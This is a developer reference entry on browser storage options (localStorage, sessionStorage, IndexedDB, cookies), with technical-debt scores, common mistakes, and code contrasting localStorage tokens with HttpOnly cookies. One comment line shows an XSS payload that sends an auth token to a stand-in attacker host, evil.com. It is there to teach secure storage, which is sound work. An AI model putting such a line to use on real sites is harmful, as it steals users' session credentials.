Web Storage, IndexedDB & Cookies
debt(d5/e3/b5/t7)
Closest to 'specialist tool catches it' (d5). Semgrep and ESLint can detect common patterns like JWT tokens in localStorage, but require rule configuration; they won't catch all misuses (e.g., indirect sensitive data leakage, timing of QuotaExceededError handling) without additional context. Runtime testing is needed to catch edge cases.
Closest to 'simple parameterised fix' (e3). The quick_fix shows straightforward guidance: swap localStorage/sessionStorage for IndexedDB when needed, or move to HttpOnly cookies for auth. Most fixes are single-component changes (e.g., replace localStorage.setItem with IndexedDB write, or switch cookie flag). No cross-cutting refactor required in typical cases.
Closest to 'persistent productivity tax' (b5). Storage API choice affects all client-side data handling code; synchronous vs. asynchronous decisions (localStorage blocks; IndexedDB doesn't) ripple through async patterns. The choice to use httpOnly cookies constrains how auth is implemented across the app. However, it doesn't define the system's architecture — it's a local concern within the browser layer.
Closest to 'serious trap' (t7). The canonical misconception states 'localStorage is fine for auth tokens' — the obvious mental model (persistent storage = good for auth) is dangerously wrong. This contradicts server-side auth patterns where sensitive tokens are never exposed to the browser context. Developers often assume client-side storage is 'just like a server session' and get blindsided by XSS exposure. QuotaExceededError is also a documented gotcha.
Also Known As
TL;DR
Explanation
localStorage: synchronous, 5-10MB, persists across sessions, same origin. sessionStorage: same API, cleared when tab closes. IndexedDB: async, structured data, hundreds of MB, queryable with indexes — use for offline apps and large datasets. Cookies: sent with every HTTP request (session management, server-readable), max 4KB, path/domain scoping, HttpOnly/SameSite flags. Web Storage and IndexedDB are never sent to the server. Cookies with HttpOnly prevent JavaScript access (XSS mitigation). Never store sensitive data (tokens, PII) in localStorage — vulnerable to XSS.
Common Misconception
Why It Matters
Common Mistakes
- Storing auth tokens in localStorage — XSS vulnerable; use HttpOnly cookies.
- Synchronous localStorage in performance-critical loops — localStorage reads/writes are synchronous and block the main thread.
- Not handling QuotaExceededError — localStorage throws when full; catch the error.
- Sensitive data in sessionStorage — also readable by JavaScript; same XSS risk as localStorage.
Code Examples
// Auth token in localStorage — XSS can steal it:
localStorage.setItem('auth_token', response.token);
// Every fetch:
fetch('/api/data', {
headers: { Authorization: 'Bearer ' + localStorage.getItem('auth_token') }
});
// Attacker XSS: fetch('https://evil.com/?t=' + localStorage.getItem('auth_token'))
// Auth token in HttpOnly cookie — JS cannot read it:
// Server sets on login:
Set-Cookie: auth_token=...; HttpOnly; Secure; SameSite=Strict; Path=/
// Browser sends automatically, JS cannot access:
fetch('/api/data', { credentials: 'include' }); // Cookie sent automatically
// Attacker XSS cannot read the cookie — HttpOnly blocks it
// localStorage for non-sensitive UI state only:
localStorage.setItem('theme', 'dark'); // Fine — not sensitive